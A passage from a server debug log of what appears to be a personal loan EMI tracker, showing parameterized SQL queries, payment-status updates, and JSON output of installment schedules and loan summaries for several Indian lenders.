    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: '2026-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: '2026-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-06-07T05:06:15.080Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '11',
    total_remaining_amount: 165154,
    total_paid_amount: 735686,
    percentage_paid: '81.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '9',
    total_remaining_amount: 198279,
    total_paid_amount: 859209,
    percentage_paid: '81.25'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 16008,
    total_paid_amount: 176088,
    percentage_paid: '91.67'
  }
]
2026-06-07T05:06:17.619Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:17.620Z server-connect:app Executing action step identify
2026-06-07T05:06:17.620Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:17.620Z server-connect:output identity: 1
2026-06-07T05:06:17.620Z server-connect:app Executing action step restrict
2026-06-07T05:06:17.620Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:17.620Z server-connect:output restrict: undefined
2026-06-07T05:06:17.621Z server-connect:app Executing action step select
2026-06-07T05:06:17.621Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:17.622Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-06-07T05:06:24.197Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-06-07T05:06:24.198Z server-connect:app Executing action step identify
2026-06-07T05:06:24.198Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:24.198Z server-connect:output identity: 1
2026-06-07T05:06:24.198Z server-connect:app Executing action step restrict
2026-06-07T05:06:24.198Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:24.199Z server-connect:output restrict: undefined
2026-06-07T05:06:24.199Z server-connect:app Executing action step update
2026-06-07T05:06:24.199Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-06-07T05:06:24.200Z server-connect:output update: { affected: 1 }
2026-06-07T05:06:24.379Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:24.379Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-07T05:06:24.379Z server-connect:app Executing action step identify
2026-06-07T05:06:24.379Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:24.379Z server-connect:output identity: 1
2026-06-07T05:06:24.380Z server-connect:app Executing action step restrict
2026-06-07T05:06:24.380Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:24.380Z server-connect:app Executing action step identify
2026-06-07T05:06:24.380Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:24.380Z server-connect:output identity: 1
2026-06-07T05:06:24.380Z server-connect:app Executing action step restrict
2026-06-07T05:06:24.380Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:24.380Z server-connect:output restrict: undefined
2026-06-07T05:06:24.380Z server-connect:app Executing action step select
2026-06-07T05:06:24.380Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:24.381Z server-connect:output restrict: undefined
2026-06-07T05:06:24.381Z server-connect:app Executing action step custom
2026-06-07T05:06:24.381Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-07T05:06:24.382Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2026-06-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-06-07T05:06:24.384Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '11',
    total_remaining_amount: 165154,
    total_paid_amount: 735686,
    percentage_paid: '81.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '2',
    total_remaining_amount: 36486,
    total_paid_amount: 620262,
    percentage_paid: '94.44'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '9',
    total_remaining_amount: 198279,
    total_paid_amount: 859209,
    percentage_paid: '81.25'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 16008,
    total_paid_amount: 176088,
    percentage_paid: '91.67'
  }
]
2026-06-07T05:06:29.099Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-06-07T05:06:29.100Z server-connect:app Executing action step identify
2026-06-07T05:06:29.100Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:29.100Z server-connect:output identity: 1
2026-06-07T05:06:29.100Z server-connect:app Executing action step restrict
2026-06-07T05:06:29.100Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:29.101Z server-connect:output restrict: undefined
2026-06-07T05:06:29.101Z server-connect:app Executing action step update
2026-06-07T05:06:29.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-06-07T05:06:29.102Z server-connect:output update: { affected: 1 }
2026-06-07T05:06:29.276Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:29.277Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-07T05:06:29.277Z server-connect:app Executing action step identify
2026-06-07T05:06:29.277Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:29.278Z server-connect:output identity: 1
2026-06-07T05:06:29.278Z server-connect:app Executing action step restrict
2026-06-07T05:06:29.278Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:29.278Z server-connect:app Executing action step identify
2026-06-07T05:06:29.278Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:29.278Z server-connect:output identity: 1
2026-06-07T05:06:29.278Z server-connect:app Executing action step restrict
2026-06-07T05:06:29.278Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:29.279Z server-connect:output restrict: undefined
2026-06-07T05:06:29.279Z server-connect:app Executing action step custom
2026-06-07T05:06:29.279Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-07T05:06:29.279Z server-connect:output restrict: undefined
2026-06-07T05:06:29.279Z server-connect:app Executing action step select
2026-06-07T05:06:29.279Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
